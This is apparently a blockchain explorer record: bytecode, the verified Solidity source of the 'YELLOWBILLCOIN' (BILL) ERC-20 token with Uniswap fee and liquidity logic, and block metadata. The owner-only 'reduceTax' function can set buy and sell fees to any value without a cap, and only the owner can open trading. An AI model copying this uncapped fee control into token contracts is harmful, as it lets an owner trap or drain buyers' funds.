dbba91eb0ec037ab1017739bff16001600160a01b0316856001600160a01b031614155b8015610a995750600d546301000000900460ff165b15610aac57600f549150610aac82610d0a565b6001600160a01b0385165f9081526004602052604090205460019060ff1680610aec57506001600160a01b0385165f9081526004602052604090205460ff165b15610af457505f5b8015610c59576001600160a01b0386165f9081526005602052604090205460ff16158015610b3a57506001600160a01b0385165f9081526005602052604090205460ff16155b15610c5957600e54841115610ba25760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610595565b7f0000000000000000000000006c9833677402cdbba91eb0ec037ab1017739bff16001600160a01b0316856001600160a01b031614610c59576010546001600160a01b0386165f90815260026020526040902054610c0090866116f9565b1115610c595760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610595565b610c6586868684610eb9565b505050505050565b5f8184841115610c905760405162461bcd60e51b815260040161059591906114f5565b505f610c9c848661170c565b95945050505050565b5f80610cb183856116f9565b905083811015610d035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610595565b9392505050565b600d805462ff0000191662010000179055600c54600b545f9161010080820460ff90811693918204811692610d4392908216911661171f565b610d4d919061171f565b610d57919061171f565b610d62906002611738565b600c54600b5460ff92831693505f928492610d8192908216911661171f565b610d8e9060ff168561175b565b610d989190611772565b90505f610da5828561170c565b905047610db182610fbc565b5f610dbc824761170c565b600c54600b549192505f91610dd79160ff908116911661171f565b610de49060ff168761170c565b610dee9083611772565b600c54600b549192505f91610e099160ff908116911661171f565b610e169060ff168361175b565b90508015610e2857610e28868261116a565b600c54600b545f91610e499160ff610100928390048116929091041661171f565b60ff16610e5784600261175b565b610e61919061175b565b90508015610ea2576007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610ea0573d5f803e3d5ffd5b505b5050600d805462ff00001916905550505050505050565b8015610f9b57610ecf600d805461ffff19169055565b7f0000000000000000000000006c9833677402cdbba91eb0ec037ab1017739bff16001600160a01b0316846001600160a01b031603610f3557610f35600b54600d805461010080840460ff90811690910261ffff19909216931692909217919091179055565b7f0000000000000000000000006c9833677402cdbba91eb0ec037ab1017739bff16001600160a01b0316836001600160a01b031603610f9b57610f9b600c54600d805461010080840460ff90811690910261ffff19909216931692909217919091179055565b610fa6848484611247565b610fb6600d805461ffff19169055565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fef57610fef611791565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561106b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108f91906117a5565b816001815181106110a2576110a2611791565b60200260200101906001600160a01b031690816001600160a01b0316815250506110ed307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610741565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906111419085905f908690309042906004016117c0565b5f604051808303815f87803b158015611158575f80fd5b505af1158015610c65573d5f803e3d5ffd5b611195307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610741565b60405163f305d71960e01b81523060048201819052602482018490525f60448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af115801561121b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112409190611831565b5050505050565b5f805f6112538461132a565b6001600160a01b0389165f90815260026020526040902054929550909350915061127d9085611368565b6001600160a01b038088165f9081526002602052604080822093909355908716815220546112ab9084610ca5565b6001600160a01b0386165f908152600260205260409020556112cc826113a9565b6112d5816113a9565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131a91815260200190565b60405180910390a3505050505050565b5f805f80611337856113d4565b90505f611343866113f4565b90505f61135a826113548986611368565b90611368565b979296509094509092505050565b5f610d0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c6d565b305f908152600260205260409020546113c29082610ca5565b305f9081526002602052604090205550565b600d545f906104ca906064906113ee90859060ff1661140f565b9061148d565b600d545f906104ca906064906113ee908590610100900460ff165b5f825f0361141e57505f6104ca565b5f611429838561175b565b9050826114368583611772565b14610d035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610595565b5f610d0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836114e95760405162461bcd60e51b815260040161059591906114f5565b505f610c9c8486611772565b5f602080835283518060208501525f5b8181101561152157858101830151858201604001528201611505565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611555575f80fd5b50565b5f8060408385031215611569575f80fd5b823561157481611541565b946020939093013593505050565b5f805f60608486031215611594575f80fd5b833561159f81611541565b925060208401356115af81611541565b929592945050506040919091013590565b5f602082840312156115d0575f80fd5b8135610d0381611541565b5f80604083850312156115ec575f80fd5b82356115f781611541565b9150602083013561160781611541565b809150509250929050565b803560ff81168114611622575f80fd5b919050565b5f805f806080858703121561163a575f80fd5b61164385611612565b935061165160208601611612565b925061165f60408601611612565b915061166d60608601611612565b905092959194509250565b600181811c9082168061168c57607f821691505b6020821081036116aa57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104ca576104ca6116e5565b818103818111156104ca576104ca6116e5565b60ff81811683821601908111156104ca576104ca6116e5565b60ff8181168382160290811690818114611754576117546116e5565b5092915050565b80820281158282048414176104ca576104ca6116e5565b5f8261178c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117b5575f80fd5b8151610d0381611541565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118105784516001600160a01b0316835293830193918301916001016117eb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611843575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206bfb244b0f9d128ee6e8fd45abcf8b04ed5e029908d9a56378f4bbfa61563f5f64736f6c63430008180033
/** t.me/yellowbillcoin */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract YELLOWBILLCOIN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcludedFromLimit; uint256 private _tTotal = 1000000 * 10**18; address payable private _marketingAddress = payable(address(0x5Ab9BD7A4EE3D1cbD976E4c1Fc894Aa7F836022b)); string private _name = "YELLOWBILLCOIN"; string private _symbol = "BILL"; uint8 private _decimals = 18; struct BuyFee { uint8 liquidity; uint8 marketing; } struct SellFee { uint8 liquidity; uint8 marketing; } BuyFee public buyFee; SellFee public sellFee; uint8 private _liquidityFee; uint8 private _marketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private _maxTxAmount = _tTotal.div(1000).mul(20); // 2% uint256 private numTokensSellToAddToLiquidity = _tTotal.div(1000).mul(3); //0.3% uint256 private _maxWalletSize = _tTotal.div(1000).mul(20); // 2% event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } bool tradingOpen = false; mapping (address => uint256) _lastTrade; constructor() { _rOwned[_msgSender()] = _tTotal; buyFee.liquidity = 5; buyFee.marketing = 10; sellFee.liquidity = 5; sellFee.marketing = 10; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // exclude owner, and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromLimit[_marketingAddress] = true; _isExcludedFromLimit[owner()] = true; _isExcludedFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function reduceTax( uint8 buy_liquidity, uint8 buy_marketing, uint8 sell_liquidity, uint8 sell_marketing ) external onlyOwner { buyFee.marketing = buy_marketing; buyFee.liquidity = buy_liquidity; sellFee.marketing = sell_marketing; sellFee.liquidity = sell_liquidity; } //to recieve ETH from uniswapV2Router when swapping receive() external payable {} function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tWallet = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tLiquidity).sub(tWallet); return (tTransferAmount, tLiquidity, tWallet); } function _takeLiquidity(uint256 tLiquidity) private { _rOwned[address(this)] = _rOwned[address(this)].add(tLiquidity); } function _takeWalletFee(uint256 tWallet) private { _rOwned[address(this)] = _rOwned[address(this)].add(tWallet); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**2); } function removeAllFee() private { _liquidityFee = 0; _marketingFee = 0; } function setBuy() private { _liquidityFee = buyFee.liquidity; _marketingFee = buyFee.marketing; } function setSell() private { _liquidityFee = sellFee.liquidity; _marketingFee = sellFee.marketing; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() && to != owner() ) require(tradingOpen, "Trading not yet enabled."); //transfers disabled before openTrading // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (takeFee) { if (!_isExcludedFromLimit[from] && !_isExcludedFromLimit[to]) { require( amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (to != uniswapV2Pair) { require( amount + balanceOf(to) <= _maxWalletSize, "Recipient exceeds max wallet size." ); } } } //transfer amount, it will take liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap { // Split the contract balance into halves uint256 denominator = (buyFee.liquidity + sellFee.liquidity + buyFee.marketing + sellFee.marketing) * 2; uint256 tokensToAddLiquidityWith = (tokens * (buyFee.liquidity + sellFee.liquidity)) / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - (buyFee.liquidity + sellFee.liquidity)); uint256 ethToAddLiquidityWith = unitBalance * (buyFee.liquidity + sellFee.liquidity); if (ethToAddLiquidityWith > 0) { // Add liquidity to uniswap addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } // Send ETH to marketing uint256 marketingAmt = unitBalance * 2 * (buyFee.marketing + sellFee.marketing); if (marketingAmt > 0) { payable(_marketingAddress).transfer(marketingAmt); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (takeFee) { removeAllFee(); if (sender == uniswapV2Pair) { setBuy(); } if (recipient == uniswapV2Pair) { setSell(); } } _transferStandard(sender, recipient, amount); removeAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tLiquidity, uint256 tWallet ) = _getTValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(tAmount); _rOwned[recipient] = _rOwned[recipient].add(tTransferAmount); _takeLiquidity(tLiquidity); _takeWalletFee(tWallet); emit Transfer(sender, recipient, tTransferAmount); } function turnonTrading() external onlyOwner() { require(!tradingOpen, "Trading is already enabled"); tradingOpen = true; } }
1
19,493,231
1dc2602533d9b843b99d2358fa230f747fb76ea763f8014bc1e84928075a5fd3
c848651ad27db838016676d8c0f963b55b44321f15e0f153662568c782c01c1a
5ab9bd7a4ee3d1cbd976e4c1fc894aa7f836022b
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
6c9833677402cdbba91eb0ec037ab1017739bff1
